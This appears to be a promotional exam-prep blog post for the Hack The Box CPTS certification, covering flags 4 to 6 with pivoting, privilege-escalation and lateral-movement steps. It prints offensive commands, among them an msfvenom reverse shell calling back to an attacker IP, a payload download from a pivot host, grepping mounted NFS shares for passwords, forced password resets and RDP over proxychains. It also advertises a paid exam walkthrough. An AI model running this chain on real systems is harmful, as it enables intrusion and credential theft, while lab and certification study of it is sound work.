HTB CPTS Exam Guide: Conquering Flags 4, 5, and 6
HTB CPTS Exam Guide: Conquering Flags 4, 5, and 6
Category: Hack The Box Certification Series • Advanced Tactics • Read Time: 10 min
Once you breach the perimeter and establish your initial footholds in the HTB CPTS exam environment, the assessment shifts heavily toward deep network pivoting, advanced Windows privilege escalation, and lateral movement. Flags 4, 5, and 6 test your ability to navigate segmented subnets, abuse specific token privileges, and harvest post-exploitation artifacts.
Relying purely on automated tools will cause you to stall in this phase. This guide breaks down the core methodologies and essential command structures required to systematically conquer this mid-stage progression.
- Flag 4: Internal Triage & NFS Shares (Dynamic SSH forwarding, mounting Network File Systems, Java-based web app exploitation)
- Flag 5: Token Privilege Escalation (Abusing SeTcbPrivilege, compiling custom C++ exploits, in-memory payload transfers)
- Flag 6: Post-Exploitation & Lateral Movement (Harvesting AppData artifacts, resetting local passwords, RDP traversal)
1. Deep Network Mapping & NFS Exploitation
After compromising a DMZ host, you must establish a dynamic proxy to interrogate internal networks. A critical step is mapping exposed Network File System (NFS) shares, which frequently house hardcoded credentials or backup files. Once internal credentials are recovered, look for administrative portals (like Liferay or Jenkins) where built-in scripting consoles allow for Groovy/Java reverse shells.
ssh -D 9050 -i id_rsa root@<DMZ_IP>
# Enumerate & Mount Internal NFS Shares
showmount -e <INTERNAL_IP>
mkdir /tmp/target-NFS
sudo mount -t nfs <INTERNAL_IP>:/ /tmp/target-NFS/ -o nolock
# Recursive Search for Credentials in Mounted Share
grep -rnw '/tmp/target-NFS/' -e 'password' -e 'admin'
2. Advanced Windows Privilege Escalation (SeTcbPrivilege)
Standard Windows privilege escalation checks (like unquoted service paths or weak registry permissions) are often dead ends in advanced labs. Instead, audit your user's assigned privileges. If you hold SeTcbPrivilege (Act as part of the operating system), you can elevate directly to NT AUTHORITY\SYSTEM by injecting a custom access token. This requires transferring compiled exploit binaries and a reverse shell payload to the target.
whoami /priv
# Generate Custom Windows Reverse Shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<TUNNEL_IP> LPORT=9001 -f exe -o rev.exe
# Serve Files from Compromised Linux Pivot
php -S 0.0.0.0:8080
# Download Executables to Target via PowerShell
Invoke-WebRequest http://<PIVOT_IP>:8080/TcbElevation.exe -OutFile TcbElevation.exe
Need the Complete Attack Chain?
Don't get stuck compiling broken exploits or fighting with double-pivot routing. Our comprehensive CPTS exam report includes exact exploit links, full terminal screenshots, and guaranteed command syntaxes.
Unlock the Full CPTS Methodology Report →3. Post-Exploitation Artifacts & Lateral Movement
Once you achieve Administrator/SYSTEM access on a host, immediately transition into artifact harvesting. Users frequently leave plaintext credentials inside application session files (like Sublime Text, Notepad++, or browser profiles) hidden within their AppData directories. Force password resets on local accounts if necessary to log in and inspect their profiles, then use recovered credentials to RDP into adjacent systems.
net user <TARGET_USER> NewPassword123!
# Inspect Developer Tool Session Artifacts
type "C:\Users\<TARGET_USER>\AppData\Roaming\Sublime Text 3\Local\Session.sublime_session"
# Lateral Movement via RDP over Proxychains
proxychains xfreerdp /v:<NEXT_TARGET_IP> /u:<HARVESTED_USER> /p:'<PASSWORD>' +clipboard
All At One Place: Your Cybersecurity Arsenal
The LOKI Store is your central hub for elite penetration testing resources. Access verified exam methodologies, enterprise reporting templates, and complete walkthrough archives for CPTS, OSCP+, and Active Directory certifications.
Get the Complete CPTS Report Now